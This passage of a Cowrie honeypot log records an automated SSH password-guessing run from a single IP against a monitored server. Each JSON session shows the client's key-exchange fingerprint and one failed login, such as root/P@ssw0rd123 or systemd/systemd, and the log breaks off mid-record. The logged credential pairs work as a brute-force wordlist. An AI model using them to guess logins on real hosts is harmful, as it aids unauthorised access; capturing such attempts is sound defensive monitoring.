{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:23.626516Z","src_ip":"192.109.200.237","session":"46d548784d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:23.711147Z","src_ip":"192.109.200.237","session":"46d548784d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:23.967989Z","src_ip":"192.109.200.237","session":"46d548784d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:25.150404Z","src_ip":"192.109.200.237","session":"46d548784d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"25a2b9bd88eb","protocol":"ssh","message":"New connection: 192.109.200.237:37740 (159.203.135.109:22) [session: 25a2b9bd88eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:27.251185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:27.372592Z","src_ip":"192.109.200.237","session":"25a2b9bd88eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:27.380184Z","src_ip":"192.109.200.237","session":"25a2b9bd88eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:27.708094Z","src_ip":"192.109.200.237","session":"25a2b9bd88eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:28.792705Z","src_ip":"192.109.200.237","session":"25a2b9bd88eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49964,"dst_ip":"159.203.135.109","dst_port":22,"session":"7231ad82a248","protocol":"ssh","message":"New connection: 192.109.200.237:49964 (159.203.135.109:22) [session: 7231ad82a248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:30.954595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:30.959298Z","src_ip":"192.109.200.237","session":"7231ad82a248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:31.041804Z","src_ip":"192.109.200.237","session":"7231ad82a248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:31.288954Z","src_ip":"192.109.200.237","session":"7231ad82a248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:32.373759Z","src_ip":"192.109.200.237","session":"7231ad82a248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49988,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d9cd365fc38","protocol":"ssh","message":"New connection: 192.109.200.237:49988 (159.203.135.109:22) [session: 4d9cd365fc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:34.533242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:34.539629Z","src_ip":"192.109.200.237","session":"4d9cd365fc38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:34.621317Z","src_ip":"192.109.200.237","session":"4d9cd365fc38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:34.868426Z","src_ip":"192.109.200.237","session":"4d9cd365fc38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:35.959046Z","src_ip":"192.109.200.237","session":"4d9cd365fc38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50008,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd180917be1a","protocol":"ssh","message":"New connection: 192.109.200.237:50008 (159.203.135.109:22) [session: cd180917be1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:38.129244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:38.133894Z","src_ip":"192.109.200.237","session":"cd180917be1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:38.215895Z","src_ip":"192.109.200.237","session":"cd180917be1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:38.460621Z","src_ip":"192.109.200.237","session":"cd180917be1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:39.545439Z","src_ip":"192.109.200.237","session":"cd180917be1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38826,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d038c72f64","protocol":"ssh","message":"New connection: 192.109.200.237:38826 (159.203.135.109:22) [session: e3d038c72f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:41.556808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:41.561023Z","src_ip":"192.109.200.237","session":"e3d038c72f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:41.646810Z","src_ip":"192.109.200.237","session":"e3d038c72f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:41.892060Z","src_ip":"192.109.200.237","session":"e3d038c72f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:42.976511Z","src_ip":"192.109.200.237","session":"e3d038c72f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38830,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d38320a548","protocol":"ssh","message":"New connection: 192.109.200.237:38830 (159.203.135.109:22) [session: 29d38320a548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:45.083521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:45.182038Z","src_ip":"192.109.200.237","session":"29d38320a548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:45.186171Z","src_ip":"192.109.200.237","session":"29d38320a548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:45.537735Z","src_ip":"192.109.200.237","session":"29d38320a548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:46.623576Z","src_ip":"192.109.200.237","session":"29d38320a548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38834,"dst_ip":"159.203.135.109","dst_port":22,"session":"666abe0b2b4a","protocol":"ssh","message":"New connection: 192.109.200.237:38834 (159.203.135.109:22) [session: 666abe0b2b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:48.698829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:48.702379Z","src_ip":"192.109.200.237","session":"666abe0b2b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:48.787759Z","src_ip":"192.109.200.237","session":"666abe0b2b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:49.033879Z","src_ip":"192.109.200.237","session":"666abe0b2b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:50.181645Z","src_ip":"192.109.200.237","session":"666abe0b2b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ebb10812dd","protocol":"ssh","message":"New connection: 192.109.200.237:54928 (159.203.135.109:22) [session: 33ebb10812dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:52.096120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:52.101844Z","src_ip":"192.109.200.237","session":"33ebb10812dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],